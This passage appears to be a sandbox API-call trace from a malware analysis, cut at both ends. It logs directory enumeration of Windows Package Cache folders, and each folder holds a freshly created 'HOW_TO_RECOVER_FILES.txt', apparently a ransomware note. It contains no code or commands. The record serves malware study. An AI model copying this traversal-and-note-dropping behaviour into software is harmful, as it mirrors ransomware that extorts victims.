lpFindFileData=0x202ee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3bb90fac, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb90fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.265] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3bb90fac, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb90fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bb90fac, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb90fac, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb90fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2bde7c80, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bde7c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0143.267] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x395bb29e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0143.268] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0143.268] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0143.268] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.268] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0143.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0143.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.268] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x52 [0143.268] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28aaef4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.269] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28aaef4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28aaef4b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28aaef4b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28aaef4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.269] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0143.269] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.270] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x52 [0143.270] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28aaef4b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28aaef4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.270] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28aaef4b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28aaef4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.270] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28aaef4b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28aaef4b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28aaef4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.270] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.270] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.270] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.271] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0143.271] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.271] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.271] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a88fb0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.271] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0143.272] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0143.272] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.272] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0143.272] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.272] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.272] FindNextFileW (in: 